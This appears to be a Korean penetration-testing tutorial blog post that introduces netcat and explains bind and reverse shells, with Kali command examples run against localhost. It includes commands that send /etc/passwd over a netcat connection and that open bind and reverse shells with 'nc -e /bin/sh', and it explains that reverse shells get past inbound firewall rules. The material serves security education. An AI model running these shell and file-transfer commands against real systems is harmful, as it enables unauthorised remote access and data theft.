모의해킹을 하기 위해 꼭 필수 개념인 바인드쉘과 리버스쉘에 대해 소개하고자 합니다. 바인드쉘과 리버스쉘을 설명하기에 앞서 모의해킹에서 자주 사용하는 도구(Tool)인 Netcat에 대해 알아보고, 넷캣을 이용하여 바인드쉘과 리버스쉘에 대해 설명 드리겠습니다.
Ⅰ. netcat 사용법
Ⅱ. 바인드쉘
Ⅲ. 리버스쉘
▷ Netcat(넷캣)은 TCP 또는 UDP를 사용하여 네트워크 연결을 읽고 쓰는데 사용되는 컴퓨터 네트워킹 유틸리티로, 다른 프로그램과 스크립트에 의해 직접 또는 쉽게 구동될 수 있는 신뢰할 수 있는 백엔드 도구입니다. 동시에 사용자가 필요로 할 수 있는 거의 모든 종류의 연결을 만들 수 있고 다수의 내장 기능이 있습니다.
▷ Netcat은 아래 링크에서 다운로드가 가능하며, 이전 포스팅에서 소개한 칼리 리눅스에 기본으로 설치가 된 프로그램으로 사용자의 입맛에 맞게 사용하면 됩니다.
▷ Netcat 사용법
# 넷캣 기본 사용법
# 서버 : 포트 4444 오픈 후 대기
kali@kali:~$ nc -lvp 4444
# 클라이언트 : 서버 포트 4444로 접속 후 아무 키 입력
kali@kali:~$ nc 127.0.0.1 4444
# 넷캣을 이용한 파일 전송
# 서버 : 포트 4444 오픈 후 passwd 파일로 전송 받음
kali@kali:~$ nc -lvp 4444 > passwd
# 클라이언트 : -q 옵션 사용하여 서버로 /etc/passwd 파일 전송
kali@kali:~$ nc -q 0 127.0.0.1 4444 < /etc/passwd
▷ 바인드쉘은 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘 일반적인 서버 접속하는 형태 입니다.
▷ 넷캣을 이용한 바인드쉘 테스트
# 넷캣 바인드쉘 사용법
# 서버 : 포트 4444 오픈 후 대기
kali@kali:~$ nc -lvp 4444 -e /bin/sh
# 클라이언트 : 서버 포트 4444로 접속 후 리눅스 명령어로 질의 가능
kali@kali:~$ nc 127.0.0.1 4444
▷ 리버스쉘은 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 형태 입니다. 리버스쉘을 사용하게 되는데 방화벽 정책과 관련이 있는데, 방화벽 정책은 외부에서 들어오는 불필요한 요청에 대해서는 모두 차단되지만, 내부에서 외부로 나가는 정책은 허용된 경우가 많기 때문 입니다.
▷ 넷캣을 이용한 리버스쉘 테스트
# 넷캣 리버스쉘 사용법
# 클라이언트 : 포트 4444 오픈 후 대기
kali@kali:~$ nc -lvp 4444
# 서버 : 클라이언트 포트 4444로 접속 후 리눅스 명령어로 질의 가능
kali@kali:~$ nc 127.0.0.1 4444 -e /bin/sh
▽ 같이 보면 더 좋은 블로그 글 ▽
스마트스토어 사업자 회원이 고객의 개인정보를 보호하기 위해 알고 있어야 하는 10가지 (4) | 2020.11.24 |
---|---|
theharvester를 이용한 이메일 정보 수집 (0) | 2020.11.20 |
[Metasploitable3] 메타스플로이터블 3 설치 on Ubuntu 14.04 (1) | 2020.11.02 |
소상공인이 알아야 할 스마트스토어 개인정보보호 방법 (6) | 2020.10.31 |
[Metasploitable3] 메타스플로이터블 3 설치 on Windows 2008 (2) | 2020.10.30 |
댓글 영역